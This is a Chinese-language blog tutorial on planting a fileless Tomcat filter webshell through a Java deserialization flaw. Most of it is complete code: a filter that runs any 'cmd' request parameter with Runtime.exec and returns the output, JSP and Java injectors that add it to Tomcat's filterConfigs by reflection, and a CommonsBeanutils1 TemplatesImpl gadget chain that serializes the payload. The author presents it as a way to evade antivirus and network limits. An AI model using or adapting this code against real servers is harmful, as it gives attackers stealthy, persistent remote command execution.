前言:
有时候当我们发现目标存在反序列化漏洞,但是目标因为网络环境的因素不能出网或目前存在杀软等情况需要执行命令,可以采用反射filter并再其中添加命令执行接口,进而执行命令;
基础:
首先大家要知道filter和servlet:
概念:
servlet:servlet是一种运行服务器端的java应用程序,具有独立于平台和协议的特性,并且可以动态的生成web页面,它工作在客户端请求与服务器响应的中间层。
filter:filter是一个可以复用的代码片段,可以用来转换HTTP请求、响应和头信息。Filter不像Servlet,它不能产生一个请求或者响应,它只是修改对某一资源的请求,或者修改从某一的响应。
生命周期:
servlet:默认第一次访问时 创建servlet对象 调用intn()方法初始化 ,每次访问都调用serves()服务 处理请求给与响应 ,关闭服务器时调用destroy()销毁servlet对象。
filter:当服务器启动时 创建filter对象 调用intn()方法初始化,每次请求都调用dofilter()方法处理 关闭服务器时调用destroy()方法销毁对象
总结下来:
filter能够在一个请求到达servlet之前预处理用户请求,也可以在离开servlet时处理http响应,在执行servlet之前,首先执行filter程序,并为之做一些预处理工作;根据程序需要修改请求和响应,在servlet被调用之后截获servlet的执行,并返回被修改的结果,可以理解为HOOK。所以我们思路就是将我们的调用exec的代码放入filter中,对进入的参数进行过滤,当出现我们指定的参数时,执行exec,并返回结果,并且这样只要创建一次,除非重启,否则会一直存在在内存中,不会存在落地文件且不需要vps跳转,具有很好的隐藏和防止网络限制。
创建filter:
首先我们先编写个基本的filter来方便理解,我们使用springboot2.7:
MainController:
package com.example.seriallzpayload.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.servlet.ModelAndView;
import static com.example.seriallzpayload.service.setfilter.mysetfilter;
@RestController
@Controller
public class MainController {
@RequestMapping(value = "/index")
public ModelAndView hello(){
ModelAndView mv = new ModelAndView();
mv.setViewName("index");
return mv;
}
}
application.properties:
server.port=8081
spring.thymeleaf.prefix=classpath:/static/
spring.thymeleaf.suffix=.html
MyFilter反射代码:
package com.example.seriallzpayload.controller;
import org.springframework.stereotype.Component;
import javax.servlet.*;
import java.io.IOException;
@Component
public class MyFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
我们需要继承Filter,这时我们需要实现init,doFilter和destroy三个接口,其中第一个是初始化,最后一个为程序退出的时候会调用,我们不用具体实现,主要是中间的过滤方法中需要添加我们自己的恶意代码,会过滤,当参数中存在cmd参数会将其中的值执行exec,并修改返回内容为执行结果,这样就可以了,运行下看看:
原理:
为什么我们上面这样写可以拦截,下面我们简单分析下源码:
首先进入StandardContext:addFilterMap()方法,将所有的Filter添加到Map中,这里存储的是FilterName和url:
然后进入StandardContext:filterStart()方法循环获取对应的ApplicationFilterConfig对象
填充完filterConfigs数组,下面就是看看如何调用到我们编写的doFilter中:
首先进入ApplicationFilterFactory:createFilterChain()方法,通过StandardContext:findFilterConfig()方法和ApplicationFilterChain:addFilter()两个方法对ApplicationFilterChain.filters数组进行填充:
然后调用位于ApplicationFilterChain:internalDoFilter()方法:
并且根据filter调用链可以看到其调用顺序:
由此可以发现其实我们只要能将我们自己定制的fiter放入到 StandardContext:filterConfigs中即可,每次有新的请求进入会遍历加载,所以需要我们能够对StandardContext的filterConfigs数组添加我们自己的filter代码即可:
低版本反射filter:
首先我们测试通过反射实现添加filter,先看看普通的jsp写入tomcat filter内存马:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "evil";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
}
%>
代码逻辑为:首先获取tomcat的StandardContext标准上下文对象
然后利用standardContext标准上下文对象,反射拿到filterConfigs:
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
先调用standardContext的addFilterDef方法将我们上面的恶意代码filter添加到filterDefs中,然后调用standardContext的addFilterMapBefore方法添加路径,最后反射获取ApplicationFilterConfig并调用put将name和filter添加入数组即可。
所以根据jsp代码我们修改为java代码:
package com.example.seriallzpayload.service;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
public class setfilter {
public static void mysetfilter() throws Exception {
String name = "evil";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs =null;
try {
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
} catch (NoSuchFieldException e) {//若是在子类找不到,就去父类找
Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");
}
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
}
}
}
这里我们没有办法使用jsp中的办法获取 standardContext,我们可以通过Thread.currentThread().getContextClassLoader() 获取当前线程的上下文类加载器,这里获取WebappClassLoaderBase,然后使用getResource()来动态加载类,然后使用getContext获取standardContext,其中获取filterConfigs需要注意,如果失败需要去父类获取:
到这里需要注意改方法只适用于tomcat版本,因为在低版本中可以看到webappClassLoaderBase.getResources()内容如下:
但是高版本中返回的为NULL,注解也可以看到@Deprecated,仅为兼容低版本,这样我们获取不到resource,更不能获取到getContext,并且在10版本后对该方法进行了较大改动:
所以这里我切换org.springframework.boot版本为1.3.4.RELEASE对应的tomcat为8.0.33
调试分析下上面的代码:
首先查看获取到的StandardContext内容:
然后将filterDef添加到filterDefs中:
然后调用standardContext.addFilterMapBefore添加filterMap:
最后实例化 ApplicationFilterConfig并调用put方法放入hashmap中:
执行可以看到已经成功可以回显命令:
查看调用堆栈可以看到已经成功通过反射放入我们自己定义的filter:
反序列化:
现在我们可以通过反射添加我们自定义的filter,现在我们想通过反序列化漏洞来添加我们的filter,直接序列化代码中的filterConfig不行,因为缺少调用链,这里我们可以参考CommonsBeanutils1来编写我们的调用链,首先先介绍下CommonsBeanutils1:
CommonsBeanutils1:
首先我们创建项目继承AbstractTranslet,为什么要继承这个,因为TemplatesImpl 中对加载的字节码,必须为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类,代码如下:
public class MyAbstractClass extends AbstractTranslet {
public MyAbstractClass() throws Exception {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
代码很简单就是调用exec执行命令,因为继承AbstractTranslet,所以需要实现两个接口,如何将上述代码发送到服务器执行,这里我们可以使用CommonsBeanutils1,通过TemplatesImpl实例化我们的代码,先看具体的payload:
public static void CommonsBeanutils1_1() throws Exception{
try {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.example.MyAbstractClass.class.getName());
byte[] code = clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
Field field = obj.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(obj, new byte[][]{code});
field = obj.getClass().getDeclaredField("_name");
field.setAccessible(true);
field.set(obj, "MyTemplatesImpl");
field = obj.getClass().getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(obj, new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
field = comparator.getClass().getDeclaredField("property");
field.setAccessible(true);
field.set(comparator, "outputProperties");
field = queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
field.set(queue, new Object[]{obj, obj});
ByteArrayOutputStream buf = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(buf);
objOut.writeObject(queue);
byte[] ceshi = buf.toByteArray();
System.out.print(Base64.getEncoder().encodeToString(ceshi));
FileOutputStream fileOutputStream = new FileOutputStream("filtersera.bin");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(queue);
outputStream.close();
fileOutputStream.close();
}catch (Exception e) {
e.printStackTrace();
}
}
代码主要分为了两个部分:
第一个部分:是我们需要获取动态编译过的我们编写的MyAbstractClass内容,也可以理解为读取了MyAbstractClass.class,然后将内容通过反射放入TemplatesImpl的_bytecodes参数中,另外又对_name和_tfactory分别赋值为MyTemplatesImpl和new TransformerFactoryImpl()
第二个部分:实例化queue并添加参数2为数组个数和BeanComparator,然后添加两个数组,这里是为了占位置,方便最后一步进行替换,修改BeanComparator参数property为outputProperties,最后将前面第一部分的内容放入刚才添加的数组元素中。
然后将生成的序列化文件,放入另一个项目中进行反序列化操作,先看看调用链:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
PropertyUtils.getProperty()
PropertyUtilsBean.getProperty()
PropertyUtilsBean.getNestedProperty()
PropertyUtilsBean.getSimpleProperty()
PropertyUtilsBean.invokeMethod()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
MyAbstractClass.newInstance()
Runtime.exec()
其中来看下为什么要反射修复_name,_tfactory和property
并且为了反射到我们指定的getOutputProperties,这里值必须为OutputProperties,否则不会反射执行到TemplatesImpl.getOutputProperties()方法:
其中比较重要的几个触发点,首先是BeanComparator.compare()方法,此处会跳转到PropertyUtils.getProperty()方法:
然后是PropertyUtilsBean.invokeMethod()方法,这里会通过反射进入TemplatesImpl.getOutputProperties()
然后在TemplatesImpl.defineTransletClasses()方法中通过loader.defineClass动态加载我们之前存放的字节码:
最后通过_class[_transletIndex].newInstance()构造MyAbstractClass类
然后实例化我们MyAbstractClass类的时候会执行exec代码;
filter序列化:
根据上面的可以照葫芦画瓢写出对应的filter反射类,但是这里我们可以选择继承filter,代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.util.Map;
import javax.servlet.*;
import java.io.IOException;
public class serialfilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = null;
try {
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
} catch (NoSuchFieldException e) {
Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");
}
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
serialfilter myserialfilter = new serialfilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(myserialfilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(myserialfilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
代码CommonsBeanutils1内容不变,执行后可以看到成功添加filter到内存中
结语:
以上讲解了在低版本tomcat环境下如果通过反射filter达到在网络限制或内存木马防落地报警的情况下利用,但是在高版本中getResources返回为null,则此方法失效,后续我会去找找高版本下如何获取StandardContext,低版本下利用就如上所示,感兴趣的可以对doFilter内容添加,比如添加流量AES加密等等。